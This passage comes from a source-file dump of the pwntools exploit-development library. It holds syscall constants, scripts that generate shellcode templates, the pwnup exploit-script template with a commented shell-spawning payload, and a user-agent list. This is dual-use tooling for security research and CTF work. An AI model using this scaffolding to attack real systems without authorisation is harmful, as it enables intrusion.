SYS_pciconfig_iobase (0+271)\n#define SYS_pciconfig_read (0+272)\n#define SYS_pciconfig_write (0+273)\n#define SYS_perf_event_open (0+364)\n#define SYS_personality (0+136)\n#define SYS_pidfd_getfd (0 + 438)\n#define SYS_pidfd_open (0 + 434)\n#define SYS_pidfd_send_signal (0 + 424)\n#define SYS_pipe (0+ 42)\n#define SYS_pipe2 (0+359)\n#define SYS_pivot_root (0+218)\n#define SYS_pkey_alloc (0 + 395)\n#define SYS_pkey_free (0 + 396)\n#define SYS_pkey_mprotect (0 + 394)\n#define SYS_poll (0+168)\n#define SYS_ppoll_time64 (0 + 414)\n#define SYS_prctl (0+172)\n#define SYS_pread64 (0+180)\n#define SYS_preadv (0+361)\n#define SYS_preadv2 (0+392)\n#define SYS_prlimit64 (0+369)\n#define SYS_process_vm_readv (0+376)\n#define SYS_process_vm_writev (0+377)\n#define SYS_pselect6_time64 (0 + 413)\n#define SYS_ptrace (0+ 26)\n#define SYS_pwrite64 (0+181)\n#define SYS_pwritev (0+362)\n#define SYS_pwritev2 (0+393)\n#define SYS_quotactl (0+131)\n#define SYS_read (0+  3)\n#define SYS_readahead (0+225)\n#define SYS_readdir (0+ 89)\n#define SYS_readlink (0+ 85)\n#define SYS_readlinkat (0+332)\n#define SYS_readv (0+145)\n#define SYS_reboot (0+ 88)\n#define SYS_recv (0+291)\n#define SYS_recvfrom (0+292)\n#define SYS_recvmmsg (0+365)\n#define SYS_recvmmsg_time64 (0 + 417)\n#define SYS_recvmsg (0+297)\n#define SYS_remap_file_pages (0+253)\n#define SYS_removexattr (0+235)\n#define SYS_rename (0+ 38)\n#define SYS_renameat (0+329)\n#define SYS_renameat2 (0+382)\n#define SYS_request_key (0+310)\n#define SYS_restart_syscall (0+  0)\n#define SYS_rmdir (0+ 40)\n#define SYS_rseq (0 + 398)\n#define SYS_rt_sigaction (0+174)\n#define SYS_rt_sigpending (0+176)\n#define SYS_rt_sigprocmask (0+175)\n#define SYS_rt_sigqueueinfo (0+178)\n#define SYS_rt_sigreturn (0+173)\n#define SYS_rt_sigsuspend (0+179)\n#define SYS_rt_sigtimedwait (0+177)\n#define SYS_rt_sigtimedwait_time64 (0 + 421)\n#define SYS_rt_tgsigqueueinfo (0+363)\n#define SYS_sched_getaffinity (0+242)\n#define SYS_sched_getattr (0+381)\n#define SYS_sched_getparam (0+155)\n#define SYS_sched_get_priority_max (0+159)\n#define SYS_sched_get_priority_min (0+160)\n#define SYS_sched_getscheduler (0+157)\n#define SYS_sched_rr_get_interval (0+161)\n#define SYS_sched_rr_get_interval_time64 (0 + 423)\n#define SYS_sched_setaffinity (0+241)\n#define SYS_sched_setattr (0+380)\n#define SYS_sched_setparam (0+154)\n#define SYS_sched_setscheduler (0+156)\n#define SYS_sched_yield (0+158)\n#define SYS_seccomp (0+383)\n#define SYS_select (0+ 82)\n#define SYS_semctl (0+300)\n#define SYS_semget (0+299)\n#define SYS_semop (0+298)\n#define SYS_semtimedop (0+312)\n#define SYS_semtimedop_time64 (0 + 420)\n#define SYS_send (0+289)\n#define SYS_sendfile (0+187)\n#define SYS_sendfile64 (0+239)\n#define SYS_sendmmsg (0+374)\n#define SYS_sendmsg (0+296)\n#define SYS_sendto (0+290)\n#define SYS_setdomainname (0+121)\n#define SYS_setfsgid (0+139)\n#define SYS_setfsgid32 (0+216)\n#define SYS_setfsuid (0+138)\n#define SYS_setfsuid32 (0+215)\n#define SYS_setgid (0+ 46)\n#define SYS_setgid32 (0+214)\n#define SYS_setgroups (0+ 81)\n#define SYS_setgroups32 (0+206)\n#define SYS_sethostname (0+ 74)\n#define SYS_setitimer (0+104)\n#define SYS_set_mempolicy (0+321)\n#define SYS_setns (0+375)\n#define SYS_setpgid (0+ 57)\n#define SYS_setpriority (0+ 97)\n#define SYS_setregid (0+ 71)\n#define SYS_setregid32 (0+204)\n#define SYS_setresgid (0+170)\n#define SYS_setresgid32 (0+210)\n#define SYS_setresuid (0+164)\n#define SYS_setresuid32 (0+208)\n#define SYS_setreuid (0+ 70)\n#define SYS_setreuid32 (0+203)\n#define SYS_setrlimit (0+ 75)\n#define SYS_set_robust_list (0+338)\n#define SYS_setsid (0+ 66)\n#define SYS_setsockopt (0+294)\n#define SYS_set_tid_address (0+256)\n#define SYS_settimeofday (0+ 79)\n#define SYS_setuid (0+ 23)\n#define SYS_setuid32 (0+213)\n#define SYS_setxattr (0+226)\n#define SYS_shmat (0+305)\n#define SYS_shmctl (0+308)\n#define SYS_shmdt (0+306)\n#define SYS_shmget (0+307)\n#define SYS_shutdown (0+293)\n#define SYS_sigaction (0+ 67)\n#define SYS_sigaltstack (0+186)\n#define SYS_signalfd (0+349)\n#define SYS_signalfd4 (0+355)\n#define SYS_sigpending (0+ 73)\n#define SYS_sigprocmask (0+126)\n#define SYS_sigreturn (0+119)\n#define SYS_sigsuspend (0+ 72)\n#define SYS_socket (0+281)\n#define SYS_socketcall (0+102)\n#define SYS_socketpair (0+288)\n#define SYS_splice (0+340)\n#define SYS_stat (0+106)\n#define SYS_stat64 (0+195)\n#define SYS_statfs (0+ 99)\n#define SYS_statfs64 (0+266)\n#define SYS_statx (0 + 397)\n#define SYS_stime (0+ 25)\n#define SYS_swapoff (0+115)\n#define SYS_swapon (0+ 87)\n#define SYS_symlink (0+ 83)\n#define SYS_symlinkat (0+331)\n#define SYS_sync (0+ 36)\n#define SYS_syncfs (0+373)\n#define SYS_syscall (0+113)\n#define SYS_SYSCALL_BASE 0\n#define SYS__sysctl (0+149)\n#define SYS_sysfs (0+135)\n#define SYS_sysinfo (0+116)\n#define SYS_syslog (0+103)\n#define SYS_tee (0+342)\n#define SYS_tgkill (0+268)\n#define SYS_time (0+ 13)\n#define SYS_timer_create (0+257)\n#define SYS_timer_delete (0+261)\n#define SYS_timerfd (0+350)\n#define SYS_timerfd_gettime (0+354)\n#define SYS_timerfd_gettime64 (0 + 410)\n#define SYS_timerfd_settime (0+353)\n#define SYS_timerfd_settime64 (0 + 411)\n#define SYS_timer_getoverrun (0+260)\n#define SYS_timer_gettime (0+259)\n#define SYS_timer_gettime64 (0 + 408)\n#define SYS_timer_settime (0+258)\n#define SYS_timer_settime64 (0 + 409)\n#define SYS_times (0+ 43)\n#define SYS_tkill (0+238)\n#define SYS_truncate (0+ 92)\n#define SYS_truncate64 (0+193)\n#define SYS_ugetrlimit (0+191)\n#define SYS_umask (0+ 60)\n#define SYS_umount (0+ 22)\n#define SYS_umount2 (0+ 52)\n#define SYS_uname (0+122)\n#define SYS_unlink (0+ 10)\n#define SYS_unlinkat (0+328)\n#define SYS_unshare (0+337)\n#define SYS_uselib (0+ 86)\n#define SYS_userfaultfd (0+388)\n#define SYS_ustat (0+ 62)\n#define SYS_utime (0+ 30)\n#define SYS_utimensat (0+348)\n#define SYS_utimensat_time64 (0 + 412)\n#define SYS_utimes (0+269)\n#define SYS_vfork (0+190)\n#define SYS_vhangup (0+111)\n#define SYS_vmsplice (0+343)\n#define SYS_vserver (0+313)\n#define SYS_wait4 (0+114)\n#define SYS_waitid (0+280)\n#define SYS_write (0+  4)\n#define SYS_writev (0+146)\n"
  },
  {
    "path": "pwnlib/data/syscalls/Makefile",
    "content": "ROOT=$(shell git rev-parse --show-toplevel)\n\nall: generate.py functions.py\n\tpython generate.py \"$(ROOT)/pwnlib/shellcraft/templates/common/linux/syscalls\"\n\nfunctions.py:\n\twget https://raw.githubusercontent.com/zachriggle/functions/master/functions.py\n\ngenerate_darwin:\n\tpython3 generate_darwin.py \"$(ROOT)\"\n\n.phony: all\n"
  },
  {
    "path": "pwnlib/data/syscalls/generate.py",
    "content": "#!/usr/bin/env python3\nimport argparse\nimport keyword\nimport os\n\nfrom pwnlib import constants\nfrom pwnlib.context import context\n\n# github.com/zachriggle/functions\nfrom functions import functions, Function, Argument\n\nARCHITECTURES = ['i386', 'amd64', 'arm', 'aarch64', 'mips', 'riscv64', 'powerpc64']\n\nHEADER = '''\n<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n'''\n\nDOCSTRING = '''\n<%docstring>{name}({arguments_comma_separated}) -> str\n\nInvokes the syscall {name}.\n\nSee 'man 2 {name}' for more information.\n\nArguments:\n{arg_docs}\nReturns:\n    {return_type}\n</%docstring>\n'''\n\nARGUMENTS = \"\"\"\n<%page args=\"{arguments_default_values}\"/>\n\"\"\"\n\nCALL = r\"\"\"\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = {string_arguments!r}\n    can_pushstr_array = {array_arguments!r}\n\n    argument_names = {argument_names!r}\n    argument_values = [{arguments_comma_separated!s}]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The argument is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in {syscalls!r}:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % {syscalls!r})\n%>\n    /* {name}(${{', '.join(syscall_repr)}}) */\n%for name, arg in string_arguments.items():\n    ${{pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}}\n    ${{pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}}\n%endfor\n%for name, arg in array_arguments.items():\n    ${{pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${{pwnlib.shellcraft.push(arg)}}\n%endfor\n    ${{pwnlib.shellcraft.setregs(register_arguments)}}\n    ${{pwnlib.shellcraft.syscall(syscall)}}\n\"\"\"\n\n\ndef can_be_constant(arg):\n    if arg.derefcnt == 0:\n        return True\n\n\ndef can_be_string(arg):\n    if arg.type == 'char' and arg.derefcnt == 1:\n        return True\n    if arg.type == 'void' and arg.derefcnt == 1:\n        return True\n\n\ndef can_be_array(arg):\n    if arg.type == 'char' and arg.derefcnt == 2:\n        return True\n    if arg.type == 'void' and arg.derefcnt == 2:\n        return True\n\n\ndef fix_bad_arg_names(func, arg):\n    if arg.name == 'len':\n        return 'length'\n\n    if arg.name in ('str', 'repr') or keyword.iskeyword(arg.name):\n        return arg.name + '_'\n\n    if func.name == 'open' and arg.name == 'vararg':\n        return 'mode'\n\n    return arg.name\n\n\ndef get_arg_default(arg):\n    return 0\n\n\ndef fix_rt_syscall_name(name):\n    if name.startswith('rt_'):\n        return name[3:]\n    return name\n\n\ndef fix_syscall_names(name):\n    # Do not use old_mmap\n    if name == 'SYS_mmap':\n        return ['SYS_mmap2', name]\n    # Some arches don't have vanilla sigreturn\n    if name.endswith('_sigreturn'):\n        return ['SYS_sigreturn', 'SYS_rt_sigreturn']\n    return [name]\n\n\ndef main(target):\n    for arch in ARCHITECTURES:\n        with context.local(arch=arch):\n            generate_one(target)\n\n\ndef generate_one(target):\n    SYSCALL_NAMES = [c for c in dir(constants) if c.startswith('SYS_')]\n\n    for syscall in SYSCALL_NAMES:\n        name = syscall[4:]\n\n        # Skip anything with uppercase\n        if name.lower() != name:\n            print('Skipping %s' % name)\n            continue\n\n        # Skip anything that starts with 'unused' or 'sys' after stripping\n        if name.startswith('unused'):\n            print('Skipping %s' % name)\n            continue\n\n        function = functions.get(name, None)\n\n        if name.startswith('rt_'):\n            name = name[3:]\n\n        # If we can't find a function, just stub it out with something\n        # that has a vararg argument.\n        if function is None:\n            print('Stubbing out %s' % name)\n            args = [Argument('int', 0, 'vararg')]\n            function = Function('long', 0, name, args)\n\n        # Some syscalls have different names on different architectures,\n        # or are superseded.  We try to do the \"best\" thing at runtime.\n        syscalls = fix_syscall_names(syscall)\n\n        # Set up the argument string for Mako\n        argument_names = []\n        argument_names_ = []\n        argument_defaults = []\n\n        string_arguments = []\n        array_arguments = []\n        arg_docs = []\n\n        #\n\n        for arg in function.args:\n            argname_ = fix_bad_arg_names(function, arg)\n            argname = argname_.rstrip('_')\n            default = get_arg_default(arg)\n\n            if can_be_array(arg):\n                array_arguments.append(argname)\n\n            if can_be_string(arg):\n                string_arguments.append(argname)\n\n            argtype = str(arg.type) + ('*' * arg.derefcnt)\n            arg_docs.append(\n                '    {argname_}({argtype}): {argname}'.format(\n                    argname_=argname_,\n                    argname=argname,\n                    argtype=argtype,\n                ))\n\n            # Mako is unable to use *vararg and *kwarg, so we just stub in\n            # a whole bunch of additional arguments.\n            if argname == 'vararg':\n                for j in range(6):\n                    argname = 'vararg_%i' % j\n                    argument_names.append(argname)\n                    argument_names_.append(argname)\n                    argument_defaults.append('%s=%s' % (argname, None))\n                break\n\n            argument_names.append(argname)\n            argument_names_.append(argname_)\n            argument_defaults.append('%s=%s' % (argname_, default))\n\n        arguments_default_values = ', '.join(argument_defaults)\n        arguments_comma_separated = ', '.join(argument_names_)\n\n        return_type = str(function.type) + ('*' * function.derefcnt)\n        arg_docs = '\\n'.join(arg_docs)\n\n        template_variables = {\n            'name': name,\n            'arg_docs': arg_docs,\n            'syscalls': syscalls,\n            'arguments_default_values': arguments_default_values,\n            'arguments_comma_separated': arguments_comma_separated,\n            'return_type': return_type,\n            'string_arguments': string_arguments,\n            'array_arguments': array_arguments,\n            'argument_names': argument_names,\n        }\n\n        lines = [\n            HEADER,\n            DOCSTRING.format(**template_variables),\n            ARGUMENTS.format(**template_variables),\n            CALL.format(**template_variables)\n        ]\n\n        if keyword.iskeyword(name):\n            name += '_'\n        with open(os.path.join(target, name + '.asm'), 'wt') as f:\n            f.write('\\n'.join(map(str.strip, lines)) + '\\n')\n\n\nif __name__ == '__main__':\n    p = argparse.ArgumentParser()\n    p.add_argument('target_directory')\n    args = p.parse_args()\n    main(args.target_directory)\n"
  },
  {
    "path": "pwnlib/data/syscalls/generate_darwin.py",
    "content": "# ./pwnlib/data/includes/darwin/aarch64.h\n# ./pwnlib/constants/darwin/aarch64.py\n\n# https://github.com/nullgemm/instant_macos_sdk (old sdk here, please use real macos device)\n# https://github.com/joseluisq/macosx-sdks (old sdk here, please use real macos device)\n# /Library/Developer/CommandLineTools/SDKs/MacOSX14.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/sys/\n\nfrom pathlib import Path\nimport re\nimport sys\n\n# In the future, you should change the version of `MacOSX15.sdk`\nsdk_path = Path('/Library/Developer/CommandLineTools/SDKs/MacOSX15.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/sys/')\nif not sdk_path.exists():\n    print('missing MacOSX sdk')\n    exit(1)\n\nproject_path = Path(sys.argv[1])\n\nregex = re.compile(r'^#define\\s+([a-zA-Z0-9_-]+)\\s+([0-9]+|0x[0-9a-fA-F]+)(?:\\s|$)', re.DOTALL)\n\nout_data = {}\nfor file in sdk_path.iterdir():\n    if not file.is_file():\n        continue\n\n    print(file.name)\n    for line in file.read_text(errors='ignore').split('\\n'):\n        matched = regex.search(line)\n        if not matched:\n            continue\n\n        key, value = matched.groups()\n        if value.startswith('0') and not value.startswith('0x') and len(value) > 1:\n            value = '0o'+value\n\n        print(key, value)\n        out_data[key] = value\n\n\noutbuf1_aarch64 = ''\noutbuf1_aarch64 += \"from pwnlib.constants.constant import Constant\\n\"\n\noutbuf1_amd64 = ''\noutbuf1_amd64 += \"from pwnlib.constants.constant import Constant\\n\"\n\noutbuf2_aarch64 = ''\noutbuf2_amd64 = ''\n\n# https://www.idryman.org/blog/2014/12/02/writing-64-bit-assembly-on-mac-os-x/\n# on amd64 syscall offsets from 0x2000000 + syscall number\n\nfor key, value in out_data.items():\n    value_octal = value\n    if value_octal.startswith('0o'):\n        value_octal = value_octal.replace('0o', '0')\n\n    outbuf1_aarch64 += \"{} = Constant('{}',{})\\n\".format(key, key, value)\n    outbuf2_aarch64 += \"#define {} {}\\n\".format(key, value_octal)\n\n    if key.startswith('SYS_'):\n        value = f'{value} + 0x2000000'\n        value_octal = f'{value_octal} + 0x2000000'\n\n    outbuf1_amd64 += \"{} = Constant('{}',{})\\n\".format(key, key, value)\n    outbuf2_amd64 += \"#define {} {}\\n\".format(key, value_octal)\n\npp = project_path\n(pp / Path('./pwnlib/constants/darwin/aarch64.py')).write_bytes(outbuf1_aarch64.encode())\n(pp / Path('./pwnlib/data/includes/darwin/aarch64.h')).write_bytes(outbuf2_aarch64.encode())\n\n(pp / Path('./pwnlib/constants/darwin/amd64.py')).write_bytes(outbuf1_amd64.encode())\n(pp / Path('./pwnlib/data/includes/darwin/amd64.h')).write_bytes(outbuf2_amd64.encode())\n"
  },
  {
    "path": "pwnlib/data/templates/pwnup.mako",
    "content": "<%page args=\"binary, host=None, port=None, user=None, password=None, libc=None, remote_path=None, quiet=False\"/>\\\n<%\nimport os\nimport sys\n\nfrom pwnlib.context import context as ctx\nfrom pwnlib.elf.elf import ELF\nfrom pwnlib.util.sh_string import sh_string\nfrom elftools.common.exceptions import ELFError\n\nargv = list(sys.argv)\nargv[0] = os.path.basename(argv[0])\n\ntry:\n    if binary:\n       ctx.binary = ELF(binary, checksec=False)\nexcept ELFError:\n    pass\n\nif not binary:\n    binary = './path/to/binary'\n\nexe = os.path.basename(binary)\n\nssh = user or password\nif ssh and not port:\n    port = 22\nelif host and not port:\n    port = 4141\n\nremote_path = remote_path or exe\npassword = password or 'secret1234'\nbinary_repr = repr(binary)\nlibc_repr = repr(libc)\n%>\\\n#!/usr/bin/env python3\n%if not quiet:\n# This exploit template was generated via:\n# $ ${' '.join(map(sh_string, argv))}\n%endif\nfrom pwn import *\n\n%if not quiet:\n# Set up pwntools for the correct architecture\n%endif\n%if ctx.binary or not host:\nexe = context.binary = ELF(args.EXE or ${binary_repr})\n<% binary_repr = 'exe.path' %>\n%else:\ncontext.update(arch='i386')\nexe = ${binary_repr}\n<% binary_repr = 'exe' %>\n%endif\n\n%if not quiet:\n# Many built-in settings can be controlled on the command-line and show up\n# in \"args\".  For example, to dump all data sent/received, and disable ASLR\n# for all created processes...\n# ./exploit.py DEBUG NOASLR\n%if host or port or user:\n# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable\n%endif\n%endif\n%if host:\nhost = args.HOST or ${repr(host)}\n%endif\n%if port:\nport = int(args.PORT or ${port})\n%endif\n%if user:\nuser = args.USER or ${repr(user)}\npassword = args.PASSWORD or ${repr(password)}\n%endif\n%if ssh:\nremote_path = ${repr(remote_path)}\n%endif\n\n%if ssh:\n# Connect to the remote SSH server\nshell = None\nif not args.LOCAL:\n    shell = ssh(user, host, port, password)\n    shell.set_working_directory(symlink=True)\n%endif\n\n%if libc:\n%if not quiet:\n# Use the specified remote libc version unless explicitly told to use the\n# local system version with the `LOCAL_LIBC` argument.\n# ./exploit.py LOCAL LOCAL_LIBC\n%endif\nif args.LOCAL_LIBC:\n    libc = exe.libc\n%if host:\nelif args.LOCAL:\n%else:\nelse:\n%endif\n    library_path = libcdb.download_libraries(${libc_repr})\n    if library_path:\n        exe = context.binary = ELF.patch_custom_libraries(${binary_repr}, library_path)\n        libc = exe.libc\n    else:\n        libc = ELF(${libc_repr})\n%if host:\nelse:\n    libc = ELF(${libc_repr})\n%endif\n%endif\n\n%if host:\ndef start_local(argv=[], *a, **kw):\n    '''Execute the target binary locally'''\n    if args.GDB:\n        return gdb.debug([${binary_repr}] + argv, gdbscript=gdbscript, *a, **kw)\n    else:\n        return process([${binary_repr}] + argv, *a, **kw)\n\ndef start_remote(argv=[], *a, **kw):\n  %if ssh:\n    '''Execute the target binary on the remote host'''\n    if args.GDB:\n        return gdb.debug([remote_path] + argv, gdbscript=gdbscript, ssh=shell, *a, **kw)\n    else:\n        return shell.process([remote_path] + argv, *a, **kw)\n  %else:\n    '''Connect to the process on the remote host'''\n    io = connect(host, port)\n    if args.GDB:\n        gdb.attach(io, gdbscript=gdbscript)\n    return io\n  %endif\n%endif\n\n%if host:\ndef start(argv=[], *a, **kw):\n    '''Start the exploit against the target.'''\n    if args.LOCAL:\n        return start_local(argv, *a, **kw)\n    else:\n        return start_remote(argv, *a, **kw)\n%else:\ndef start(argv=[], *a, **kw):\n    '''Start the exploit against the target.'''\n    if args.GDB:\n        return gdb.debug([${binary_repr}] + argv, gdbscript=gdbscript, *a, **kw)\n    else:\n        return process([${binary_repr}] + argv, *a, **kw)\n%endif\n\n%if exe or remote_path:\n%if not quiet:\n# Specify your GDB script here for debugging\n# GDB will be launched if the exploit is run via e.g.\n# ./exploit.py GDB\n%endif\ngdbscript = '''\n%if ctx.binary:\n  %if 'main' in ctx.binary.symbols:\ntbreak main\n  %elif 'DYN' != ctx.binary.elftype:\ntbreak *0x{exe.entry:x}\n  %endif\n%endif\ncontinue\n'''.format(**locals())\n%endif\n\n\n%if not quiet:\n#===========================================================\n#                    EXPLOIT GOES HERE\n#===========================================================\n%else:\n# -- Exploit goes here --\n%endif\n%if ctx.binary and not quiet:\n# ${'%-10s%s-%s-%s' % ('Arch:',\n                       ctx.binary.arch,\n                       ctx.binary.bits,\n                       ctx.binary.endian)}\n%for line in ctx.binary.checksec(color=False).splitlines():\n# ${line}\n%endfor\n%endif\n\nio = start()\n\n%if not quiet:\n# shellcode = asm(shellcraft.sh())\n# payload = fit({\n#     32: 0xdeadbeef,\n#     'iaaa': [1, 2, 'Hello', 3]\n# }, length=128)\n# io.send(payload)\n# flag = io.recv(...)\n# log.success(flag)\n%endif\n\nio.interactive()\n"
  },
  {
    "path": "pwnlib/data/useragents/LICENSE.txt",
    "content": "This directory contains a script `download-useragents.py' which downloads a\nlist of user agent strings from the Internet.\n\nThe user agent strings are downloaded from:\n - http://www.user-agents.org\n - http://techpatterns.com/downloads/firefox/useragentswitcher.xml\n\nThe latter list is part of the Firefox `User Agent Switcher' add-on and\nreleased under BSD 2 Clause.\n\n\nAs mentioned elsewhere we are not lawyers and do not know the legal status of\nthese lists.  To the extend that we can legally do so, we redistribute\neverything under an MIT license, but otherwise we allow it under the licenses\nthe lists were originally made available under.\n"
  },
  {
    "path": "pwnlib/data/useragents/download-useragents.py",
    "content": "#!/usr/bin/env python3\n\"\"\"Script for downloading lists of user agent strings.\"\"\"\nimport os\nimport urllib\n\nfrom bs4 import BeautifulSoup\nfrom pwn import *\n\nuas = set()\nif os.path.isfile('useragents.txt'):\n    with open('useragents.txt') as fd:\n        for line in fd:\n            if line:\n                uas.add(line.rstrip())\n\ndef getxml(url):\n    f = urllib.urlopen(url)\n    xml = f.read()\n    f.close()\n    return xml\n\nwith log.waitfor('Fetching from from http://techpatterns.com') as l:\n    xml = getxml('http://techpatterns.com/downloads/firefox/useragentswitcher.xml')\n    soup = BeautifulSoup(xml, 'html.parser')\n    l.success()\n\ndef loop(xml):\n    for item in xml:\n        if item.name == 'folder':\n            if item['description'] != 'UA List :: About':\n                loop(item)\n        elif item.name == 'useragent':\n            uas.add(item['useragent'].strip())\n\nwith log.waitfor('Parsing list') as l:\n    loop(soup.useragentswitcher)\n    l.success()\n\nwith log.waitfor('Fetching from from http://www.user-agents.org') as l:\n    xml = getxml('http://www.user-agents.org/allagents.xml')\n    soup = BeautifulSoup(xml, 'html.parser')\n    l.success()\n\nwith log.waitfor('Parsing list') as l:\n    for item in getattr(soup, 'user-agents'):\n        if item.name == 'user-agent':\n            ua = item.select('string')[0].string.strip()\n            try:\n                ua = ua.decode('utf-8')\n            except UnicodeEncodeError:\n                continue\n            uas.add(ua)\n    l.success()\n\nlog.info('Fetched %d user agents' % len(uas))\n\nwrite('useragents.txt', ''.join(sorted(ua + '\\n' for ua in uas)))\n"
  },
  {
    "path": "pwnlib/data/useragents/useragents.txt",
    "content": "!Susie (http://www.sync2it.com/susie)\n( Robots.txt Validator http://www.searchengineworld.com/cgi-bin/robotcheck.cgi )\n(DreamPassport/3.0; isao/MyDiGiRabi)\n(Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0))\n(Privoxy/1.0)\n(Windows NT 6.2; WOW64) KHTML/4.11 Gecko/20130308 Firefox/23.0 (PaleMoon/20.3)\n(Windows NT 6.2; WOW64) KHTML/4.11 Gecko/20130308 Firefox/33.0 (PaleMoon/25.1)\n*/Nutch-0.9-dev\n+SitiDi.net/SitiDiBot/1.0 (+Have Good Day)\n-DIE-KRAEHE- META-SEARCH-ENGINE/1.1 http://www.die-kraehe.de\n123spider-Bot (Version: 1.02, powered by www.123spider.de\n192.comAgent\n1st ZipCommander (Net) - http://www.zipcommander.com/\n2Bone_LinkChecker/1.0 libwww-perl/5.64\n4anything.com LinkChecker v2.0\n8484 Boston Project v 1.0\n:robot/1.0 (linux) ( admin e-mail: undefined http://www.neofonie.de/loesungen/search/robot.html )\n<a href='http://www.unchaos.com/'> UnChaos </a> From Chaos To Order Hybrid Web Search Engine.(vadim_gonchar@unchaos.com)\n<a href='http://www.unchaos.com/'> UnChaos Bot Hybrid Web Search Engine. </a> (vadim_gonchar@unchaos.com)\n<b> UnChaosBot From Chaos To Order UnChaos Hybrid Web Search Engine at www.unchaos.com </b> (info@unchaos.com)\n<http://www.sygol.com/> http://www.sygol.com\nA-Online Search\nA1 Keyword Research/1.0.2 (+http://www.micro-sys.dk/products/keyword-research/) miggibot/2007.03.27\nA1 Sitemap Generator/1.0 (+http://www.micro-sys.dk/products/sitemap-generator/) miggibot/2006.01.24\nABACHOBot\nABCdatos BotLink/5.xx.xxx#BBL\nAESOP_com_SpiderMan\nAIBOT/2.1 By +(www.21seek.com A Real artificial intelligence search engine China)\nANTFresco/x.xx\nASAHA Search Engine Turkey V.001 (http://www.asaha.com/)\nASPSeek/1.2.5\nASPSeek/1.2.x\nASPSeek/1.2.xa\nASPSeek/1.2.xxpre\nASPseek/1.2.9d\nASPseek/1.2.xx\nASSORT/0.10\nAU-MIC/2.0 MMP/2.0\nAUDIOVOX-SMT5600\nAV Fetch 1.0\nAVSearch-1.0(peter.turney@nrc.ca)\nAVSearch-2.0-fusionIdx-14-CompetitorWebSites\nAVSearch-3.0(AltaVista/AVC)\nAWeb\nAbachoBOT\nAbachoBOT (Mozilla compatible)\nAberja Checkomat\nAbout/0.1libwww-perl/5.47\nAccelatech RSSCrawler/0.4\nAccoona-AI-Agent/1.1.1 (crawler at accoona dot com)\nAccoona-AI-Agent/1.1.2\nAccoona-AI-Agent/1.1.2 (aicrawler at accoonabot dot com)\nAce Explorer\nAck (http://www.ackerm.com/)\nAcoiRobot\nAcoon Robot v1.50.001\nAcoon Robot v1.52 (http://www.acoon.de)\nAcoon-Robot 4.0.x.[xx] (http://www.acoon.de)\nAcoon-Robot v3.xx (http://www.acoon.de and http://www.acoon.com)\nAcorn/Nutch-0.9 (Non-Profit Search Engine; acorn.isara.org; acorn at isara dot org)\nActiveBookmark 1.x\nActiveWorlds/3.xx (xxx)\nActiveworlds\nAd Muncher v4.xx.x\nAd Muncher v4x Build xxxxx\nAdaxas Spider (http://www.adaxas.net/)\nAdobe Application Manager 2.0\nAdsBot-Google ( http://www.google.com/adsbot.html)\nAdvanced Browser (http://www.avantbrowser.com)\nAgent-SharewarePlazaFileCheckBot/2.0+(+http://www.SharewarePlaza.com)\nAgentName/0.1 libwww-perl/5.48\nAideRSS/1.0 (aiderss.com)\nAkregator/1.2.9; librss/remnants\nAladin/3.324\nAlcatel-BG3/1.0 UP.Browser/5.0.3.1.2\nAleksika Spider/1.0 (+http://www.aleksika.com/)\nAlertInfo 2.0 (Powered by Newsbrain)\nAlkalineBOT/1.3\nAlkalineBOT/1.4 (1.4.0326.0 RTM)\nAllesklar/0.1 libwww-perl/5.46\nAlligator 1.31 (www.nearsoftware.com)\nAllrati/1.1 (+)\nAltaVista Intranet V2.0 AVS EVAL search@freeit.com\nAltaVista Intranet V2.0 Compaq Altavista Eval sveand@altavista.net\nAltaVista Intranet V2.0 evreka.com crawler@evreka.com\nAltaVista V2.0B crawler@evreka.com\nAmfibiBOT\nAmfibibot/0.06 (Amfibi Web Search; http://www.amfibi.com; agent@amfibi.com)\nAmfibibot/0.07 (Amfibi Robot; http://www.amfibi.com; agent@amfibi.com)\nAmiTCP Miami (AmigaOS 2.04)\nAmiga-AWeb/3.4.167SE\nAmigaVoyager/2.95 (compatible; MC680x0; AmigaOS)\nAmigaVoyager/2.95 (compatible; MC680x0; AmigaOS; SV1)\nAmigaVoyager/3.2 (AmigaOS/MC680x0)\nAmigaVoyager/3.4.4 